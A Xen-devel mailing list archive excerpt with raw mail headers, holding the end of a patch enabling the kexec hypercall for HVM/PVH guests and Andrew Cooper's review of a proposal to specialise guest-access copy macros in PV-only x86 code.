Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Teddy Astie <teddy.astie@vates.tech>

kexec-tools in userspace still has a PV check needing dropping before kexec is
generally usable for PVH dom0's, but the Xen side should be all fine.

Bloat-o-meter reports:

  Function                                     old     new   delta
  hvm_hypercall                               2118    2309    +191
  hvm_do_multicall_call                       1366    1411     +45
  Total: Before=4226938, After=4227174, chg +0.01%

which reinforces my hatred of this entire infrastructure.
---
 xen/include/hypercall-defs.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/xen/include/hypercall-defs.c b/xen/include/hypercall-defs.c
index a625d634b694..79ee72993dfd 100644
--- a/xen/include/hypercall-defs.c
+++ b/xen/include/hypercall-defs.c
@@ -280,7 +280,7 @@ sysctl                             do       do       do       do       do
 domctl                             do       do       do       do       do
 #endif
 #ifdef CONFIG_KEXEC
-kexec_op                           compat   do       -        -        -
+kexec_op                           compat   do       compat   do       -
 #endif
 tmem_op                            -        -        -        -        -
 #ifdef CONFIG_ARGO

base-commit: 50e7b8a32dcb1360dbe9e0fa8b81a3ad02d0b670
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 20:07:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 20:07:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367376.1617158 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wluGj-0006vw-Bu; Mon, 20 Jul 2026 20:07:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367376.1617158; Mon, 20 Jul 2026 20:07:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wluGj-0006vp-8t; Mon, 20 Jul 2026 20:07:17 +0000
Received: by outflank-mailman (input) for mailman id 1367376;
 Mon, 20 Jul 2026 20:07:16 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wluGi-0006vj-9J
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 20:07:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wluGh-00GmEm-5B
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 22:07:15 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5e7fd9-e002-0a2a0a5209dd-0a2a45048c4a-30
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:07:14 +0200
Received: from [52.101.61.12]
 (helo=DM1PR04CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5e7ff1-b57f-0a2a45040019-34653d0cf81e-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:07:14 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by MN6PR03MB7718.namprd03.prod.outlook.com (2603:10b6:208:4f7::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 20:07:11 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 20:07:11 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=kQa8X1aIHIK8L1vBjv3sRMoktvUC/BhRnjhMIHKdtXfGxAlS7/e7DHQg81EEnJcuahaMvAkRaSUfAujcN9XaTjMuqFgUDXB2bmD7GsaSv81QZFcfJZ3JK/a1LCttQrTpLOJpbDjx2WGa7tOFZk1hmA9bh5x+5WCDR2TSkOx1mDHCfF9j6bpZNBw2TGTYTqmULavDspwlicYLLYm1VzndjkEGQb+Ct6RdnOk9nLeqQ8NlqHkohNI+zZbiCYvrbKCNxBvL1hZ5HMHjmvlUiKdo5KlYcwQImHI+zVn6PsTzBH4A9eATjHpT/0D3t02VR75qPiUSiO3tGbsBF3FAYjHqTg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Nycr5DSd6udKG3a5OHn6rARcQA9gCmYTXB5zsEivD88=;
 b=sPRqK8FLKlGV749WfW9pGcWrKD76CwTRMMrvXtZARn0ZL9UOxdLwt19eLTDJi1WnmwB5Y+zo9hsFuCBj5mLnU8Gw9oMT4Z4gXSaqdkV2DMw88nQaqCOiaR8RcafXfbVd6fJQK+lK1caXt6cPYum+T6uyCzBe9cXp2eNQJ3HoeetoJGnZ6lCEM/6toCJN11szxdbx/Nx/rEsHkmLZ4qxaJwIfGYUAjUgwwq/p5Z8FL8TxxKjy9iwO1Mf0TuKhDETdTXPR6UmgCAaRs8W3VfuuHIplV0qP6HV18QocQSwagf+THepEb5vZ3pA1dvYSNhickJAav/AQQBiYsPpNDmE5EQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Nycr5DSd6udKG3a5OHn6rARcQA9gCmYTXB5zsEivD88=;
 b=y5UAzajW3w96R2z1rvrCNuUPTt10n19JajHDsY2G5xTMYGutheXSRYVag86E1AvSD/tESJTx+iYTB/6UTsdD8llDYi8t9+u8gZ/+suT6dVVje3+MlvhzCHlYHWwz94swvVaJ6K1dJ6m/qdIjdiQOeWnpwHiCTVjoIUaRibwlsoo=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <d1a522ac-5b28-4e9b-bc45-d9cc61245662@citrix.com>
Date: Mon, 20 Jul 2026 21:07:09 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH RFC] x86/PV: avoid HVM-copying alternatives in PV-only
 code
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <8e6f5ad5-21e4-4325-96de-e03ba65a1b8d@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0BjaXRyaXguY29tPsLBegQTAQgAJAIbAwULCQgHAwUVCgkI
 CwUWAgMBAAIeAQIXgAUCWKD95wIZAQAKCRBlw/kGpdefoHbdD/9AIoR3k6fKl+RFiFpyAhvO
 59ttDFI7nIAnlYngev2XUR3acFElJATHSDO0ju+hqWqAb8kVij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: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0518.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:272::11) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|MN6PR03MB7718:EE_
X-MS-Office365-Filtering-Correlation-Id: e2c5ec45-7a2f-448f-7005-08dee69a7c1c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|18002099003|22082099003|3023799007|10067099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	/vqhqER94N31rWJ+6HTJ4RccudVCm8pAUTvmNh4D8+tPfy9litIT3Ca/qzCnwcsvjksQQdwMHVEkZz/a+G/kZwYsKY6s3SHg/HTvDlyZIL4NtodORyQlGJ/xzyWiOn8KRK4VjRlVgTaQj4TzWZex/v1KzvFzvQffwYyvD2IbPuPjd7re63tYZu8Gslml9mrOsodaQYGbTdI+Dekuxk+0UlUNB0312jWO+tGrkrtmcWh/XExtY7a4cwYC3hKEL71UujPpYcy3+TekiS/6sGWhop+oQhG3kdt9igFL8PQ+ZD1Ox3fMrj1kxZR0vij+ZWmzga/EgnVad0lKYoOn61pyuezTduXmXRV4+xCJOHKGThoiZWjxS7woCoEzyewSHvuWkb5r3/GPqARJF8FxICUbCUkHi6Jx7VJ5YoRPfO+w3VrV65a5O823FHFnh6SntZxitrjXhztBoLzaDLFF9qfcU0H/oFfIAn5npedcSFB0FTdXtfyZZtjdCxE7hoIJrS0zrsSqG6RQv4PsEZrf/GVk/m4tNqvBu9vOns7RvlnhKiNiG6nhqt/3IuFVGX5QVcMKPTjduzZReP8u7k2C+uvWS8t0TY/M+fU7owlnnud9LX5v2xs9q45uWERmMyxyJjSOxzR1/4j2Z2clURUgdqNfaqD1mdamtNSq9G3/xtXXLAU=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(18002099003)(22082099003)(3023799007)(10067099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?c2IvZWxDUDFKbGkzK2xrd0Nvb2F5ZjBHZjJLT0gyWGcyMHluOTc1RjYyUzd1?=
 =?utf-8?B?MytuYklCdlpUSnI5Ui9CTkQwdnRkV2lLK09Rb2FjWENGL3JKSVlUc29RWXZ3?=
 =?utf-8?B?N0g0dkNBOVhYbUtIWGdPYzFGMFpFdi9DUytmc3hGU3B6VUhVTnpsR1hYOE0x?=
 =?utf-8?B?YXhST0lFTGJMSnRncWgrYk1lQTN6Tk1kU0x6eE83a0pZUExackx1K3FQUzNW?=
 =?utf-8?B?K1pscHRRYTJxeXZNZVJKeVM0N1hNSExxaFJSai91WjNxNXFIaDB1OE5jVlJ4?=
 =?utf-8?B?R08yRVNvSEZ3WDAzaHFSbVpaN09OWGNVdDlZUS81RkNsbFFMc3lZNEJlc2tM?=
 =?utf-8?B?MVdVTCt2NCsyaVJwblFMUUdaY3lBTllMYUwzREwxMDlNQjBrM0VnNy9CSkJj?=
 =?utf-8?B?OWJYcTNRMGFyTEUyeXZKTnh6NklHZHBVb2JJRVZsMk42RkRqa04vZU9rZTBS?=
 =?utf-8?B?ZWd3em14aEJFN012OWVKMTJYME1ENEhrbSsyWHVPdHNzdkpxc3AvQ014K1ZR?=
 =?utf-8?B?U0J3STZOc2czUlZ6Ri94N3BwOUxiWjVVZ01tV0x6cUdHb3U5b1R1clVwWmJK?=
 =?utf-8?B?Y3R3c3JROFVzckZJaUlVeVBCaEk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-Network-Message-Id: e2c5ec45-7a2f-448f-7005-08dee69a7c1c
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 20:07:11.5409
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: F0UoGCKHAfkdKqr7MOFge2Sx6clySu96j3rkoISz5zeat9/wQqPyg13UUcAjFqCUzCEbMVUWMWYggbjCZrzLHmAJXm7E7EARnfEV2BYjtxA=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MN6PR03MB7718
X-purgate-ID: tlsNG-ebf023/1784578034-C0AD8B50-85DFD729/0/0
X-purgate-type: clean
X-purgate-size: 6905

On 30/06/2026 2:38 pm, Jan Beulich wrote:
> --- a/xen/arch/x86/include/asm/guest_access.h
> +++ b/xen/arch/x86/include/asm/guest_access.h
> @@ -14,11 +14,15 @@
>  
>  /* Raw access functions: no type checking. */
>  #define raw_copy_to_guest(dst, src, len)        \
> -    (is_hvm_vcpu(current) ?                     \
> +    ((IS_ENABLED(HVM_ONLY_SOURCE) ||            \
> +      (!IS_ENABLED(PV_ONLY_SOURCE) &&           \
> +       is_hvm_vcpu(current))) ?                 \
>       copy_to_user_hvm((dst), (src), (len)) :    \
>       copy_to_guest_pv(dst, src, len))
>  #define raw_copy_from_guest(dst, src, len)      \
> -    (is_hvm_vcpu(current) ?                     \
> +    ((IS_ENABLED(HVM_ONLY_SOURCE) ||            \
> +      (!IS_ENABLED(PV_ONLY_SOURCE) &&           \
> +       is_hvm_vcpu(current))) ?                 \
>       copy_from_user_hvm((dst), (src), (len)) :  \
>       copy_from_guest_pv(dst, src, len))
>  #define raw_clear_guest(dst,  len)              \
> @@ -26,11 +30,15 @@
>       clear_user_hvm((dst), (len)) :             \
>       clear_guest_pv(dst, len))
>  #define __raw_copy_to_guest(dst, src, len)      \
> -    (is_hvm_vcpu(current) ?                     \
> +    ((IS_ENABLED(HVM_ONLY_SOURCE) ||            \
> +      (!IS_ENABLED(PV_ONLY_SOURCE) &&           \
> +       is_hvm_vcpu(current))) ?                 \
>       copy_to_user_hvm((dst), (src), (len)) :    \
>       __copy_to_guest_pv(dst, src, len))
>  #define __raw_copy_from_guest(dst, src, len)    \
> -    (is_hvm_vcpu(current) ?                     \
> +    ((IS_ENABLED(HVM_ONLY_SOURCE) ||            \
> +      (!IS_ENABLED(PV_ONLY_SOURCE) &&           \
> +       is_hvm_vcpu(current))) ?                 \
>       copy_from_user_hvm((dst), (src), (len)) :  \
>       __copy_from_guest_pv(dst, src, len))

Looking back at my own attempt to do this, which was from August 2024, I
started by cleaning up this code block as such:

diff --git a/xen/arch/x86/include/asm/guest_access.h b/xen/arch/x86/include/asm/guest_access.h
index 69716c8b41bb..49920e181832 100644
--- a/xen/arch/x86/include/asm/guest_access.h
+++ b/xen/arch/x86/include/asm/guest_access.h
@@ -12,27 +12,33 @@
Â #include <asm/hvm/support.h>
Â #include <asm/hvm/guest_access.h>
Â 
+#define GUEST_ACCESS_HVM is_hvm_vcpu(current)
+
Â /* Raw access functions: no type checking. */
Â #define raw_copy_to_guest(dst, src, len)Â  Â  Â  Â  \
-Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
-Â  Â  Â copy_to_user_hvm((dst), (src), (len)) :Â  Â  \
-Â  Â  Â copy_to_guest_pv(dst, src, len))
+Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
+Â  Â  Â ? copy_to_user_hvm(dst, src, len)Â  Â  Â  Â  Â  \
+Â  Â  Â : copy_to_guest_pv(dst, src, len))
+
Â #define raw_copy_from_guest(dst, src, len)Â  Â  Â  \
-Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
-Â  Â  Â copy_from_user_hvm((dst), (src), (len)) :Â  \
-Â  Â  Â copy_from_guest_pv(dst, src, len))
+Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
+Â  Â  Â ? copy_from_user_hvm(dst, src, len)Â  Â  Â  Â  \
+Â  Â  Â : copy_from_guest_pv(dst, src, len))
+
Â #define raw_clear_guest(dst,Â  len)Â  Â  Â  Â  Â  Â  Â  \
-Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
-Â  Â  Â clear_user_hvm((dst), (len)) :Â  Â  Â  Â  Â  Â  Â \
-Â  Â  Â clear_guest_pv(dst, len))
+Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
+Â  Â  Â ? clear_user_hvm(dst, len)Â  Â  Â  Â  Â  Â  Â  Â  Â \
+Â  Â  Â : clear_guest_pv(dst, len))
+
Â #define __raw_copy_to_guest(dst, src, len)Â  Â  Â  \
-Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
-Â  Â  Â copy_to_user_hvm((dst), (src), (len)) :Â  Â  \
-Â  Â  Â __copy_to_guest_pv(dst, src, len))
+Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
+Â  Â  Â ?Â  Â copy_to_user_hvm(dst, src, len)Â  Â  Â  Â  \
+Â  Â  Â : __copy_to_guest_pv(dst, src, len))
+
Â #define __raw_copy_from_guest(dst, src, len)Â  Â  \
-Â  Â  (is_hvm_vcpu(current) ?Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
-Â  Â  Â copy_from_user_hvm((dst), (src), (len)) :Â  \
-Â  Â  Â __copy_from_guest_pv(dst, src, len))
+Â  Â  (GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
+Â  Â  Â ?Â  Â copy_from_user_hvm(dst, src, len)Â  Â  Â  \
+Â  Â  Â : __copy_from_guest_pv(dst, src, len))
Â 
Â /*
Â  * Pre-validate a guest handle.



so they're all consistent and legible, then extended GUEST_ACCESS_HVM to:

diff --git a/xen/arch/x86/include/asm/guest_access.h b/xen/arch/x86/include/asm/guest_access.h
index 49920e181832..eba47e46de88 100644
--- a/xen/arch/x86/include/asm/guest_access.h
+++ b/xen/arch/x86/include/asm/guest_access.h
@@ -12,7 +12,12 @@
Â #include <asm/hvm/support.h>
Â #include <asm/hvm/guest_access.h>
Â 
-#define GUEST_ACCESS_HVM is_hvm_vcpu(current)
+#define GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  \
+Â  Â  (IS_ENABLED(GA_ALWAYS_PV)Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
+Â  Â  Â ? 0Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  \
+Â  Â  Â : (IS_ENABLED(GA_ALWAYS_HVM)Â  Â  Â  Â  Â  Â  Â  Â \
+Â  Â  Â  Â  ? 1Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
+Â  Â  Â  Â  : is_hvm_vcpu(current)))Â  Â  Â  Â  Â  Â  Â  Â  \
Â 
Â /* Raw access functions: no type checking. */
Â #define raw_copy_to_guest(dst, src, len)Â  Â  Â  Â  \



to allow ways to force it one way or another.

For forcing it one way or another, while ...


>  
> --- a/xen/arch/x86/mm.c
> +++ b/xen/arch/x86/mm.c
> @@ -3407,6 +3407,9 @@ int new_guest_cr3(mfn_t mfn)
>  #endif
>  
>  #ifdef CONFIG_PV
> +
> +#define PV_ONLY_SOURCE 1
> +

... mm.c is certainly complicated, others like ...

> --- a/xen/arch/x86/pv/callback.c
> +++ b/xen/arch/x86/pv/callback.c
> @@ -5,6 +5,8 @@
>   * hypercall handles and helper functions for guest callback
>   */
>  
> +#define PV_ONLY_SOURCE 1
> +
>  #include <xen/event.h>
>  #include <xen/hypercall.h>
>  #include <xen/guest_access.h>
> --- a/xen/arch/x86/pv/descriptor-tables.c
> +++ b/xen/arch/x86/pv/descriptor-tables.c
> @@ -8,6 +8,8 @@
>   * Copyright (c) 2004 Christian Limpach
>   */
>  
> +#define PV_ONLY_SOURCE 1
> +
>  #include <xen/guest_access.h>
>  #include <xen/hypercall.h>
>  
> --- a/xen/arch/x86/pv/shim.c
> +++ b/xen/arch/x86/pv/shim.c
> @@ -6,6 +6,9 @@
>   *
>   * Copyright (c) 2017 Citrix Systems Ltd.
>   */
> +
> +#define PV_ONLY_SOURCE 1
> +
>  #include <xen/event.h>
>  #include <xen/guest_access.h>
>  #include <xen/hypercall.h>

all of these could have a general CFLAGS += in arch/x86/pv/Makefile
rather than having to state it in every file.

Naming wise, while PV_ONLY_SOURCE works in pv/, it's more dubious in
arch/x86/mm.c.Â  GUEST_ACCESS_* at least identifies the property that's
being decided upon.

~Andrew


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 20:43:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 20:43:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367385.1617167 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlupF-0003eW-VQ; Mon, 20 Jul 2026 20:42:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367385.1617167; Mon, 20 Jul 2026 20:42:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlupF-0003eP-Rv; Mon, 20 Jul 2026 20:42:57 +0000
Received: by outflank-mailman (input) for mailman id 1367385;
 Mon, 20 Jul 2026 20:42:57 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <philmd@oss.qualcomm.com>) id 1wlupF-0003eJ-88
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 20:42:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlupE-0089Rx-5p
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 22:42:56 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e884e-2eae-0a2a0a5409dd-0a2a4507aea6-2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:42:56 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <philmd@oss.qualcomm.com>)
 id 6a5e884e-b4ea-0a2a45070019-cddca8833bfa-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 22:42:55 +0200
Received: from pps.filterd (m0279862.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66KJU21R3369163
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:42:53 GMT
Received: from mail-qt1-f197.google.com (mail-qt1-f197.google.com
 [209.85.160.197])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fhgs02yad-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 20:42:53 +0000 (GMT)
Received: by mail-qt1-f197.google.com with SMTP id
 d75a77b69052e-51c0ab07320so149420321cf.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 13:42:53 -0700 (PDT)
Received: from [192.168.69.219] (88-187-86-199.subs.proxad.net.
 [88.187.86.199]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4955de8895dsm100865115e9.4.2026.07.20.13.42.49
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 13:42:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Content-Language:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	evPbccQePK9+xKuCm0xjXOtQA/aq6aTomkUzqkmA3sI=; b=SLa7x4EDAUB2qvWE
	DjgorCNFfsNHAB5w0MAZH/NMyfsLES5n4vEiJSBybOp0ROx4hTOadd2CwnGyWR9m
	FtuQgTTLjcogVixa7fbJc2A9sRcVNUC0PhD0Wka/k/aeC5tlxo4wJESwohAJNcVF
	Ffd6+DU50IF0gWuVpt1CNgwhGMtsT0PhATMo3gevv6g8Czv+5hixtuPvB/heM+7i
	6r+8Dv+5G7pF6OsLGPV7aVhksBX5AXXGXmR+Fyz0JGbN404hFgKPapSvXgkrimVx
	0EA6WfxOz0FrrfH8eYsAO0gH+8vTcfe/C4eqzH+u5tcXCO4Se8NOIFXnKsMGdxho
	pOQFkg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784580172; x=1785184972; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:content-language:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=evPbccQePK9+xKuCm0xjXOtQA/aq6aTomkUzqkmA3sI=;
        b=D0uq+y0DhX0OoX9VIT4KIO4qyQNDiNEKooHJoRDR1bk73SAEE51hRQvfu+pngN0RnE
         6eMa150ZUSnN624D7P4B0FHOEXehsJRONw7lpcCJnvESp6JQlppdWT3qh/njvXpApJ6W
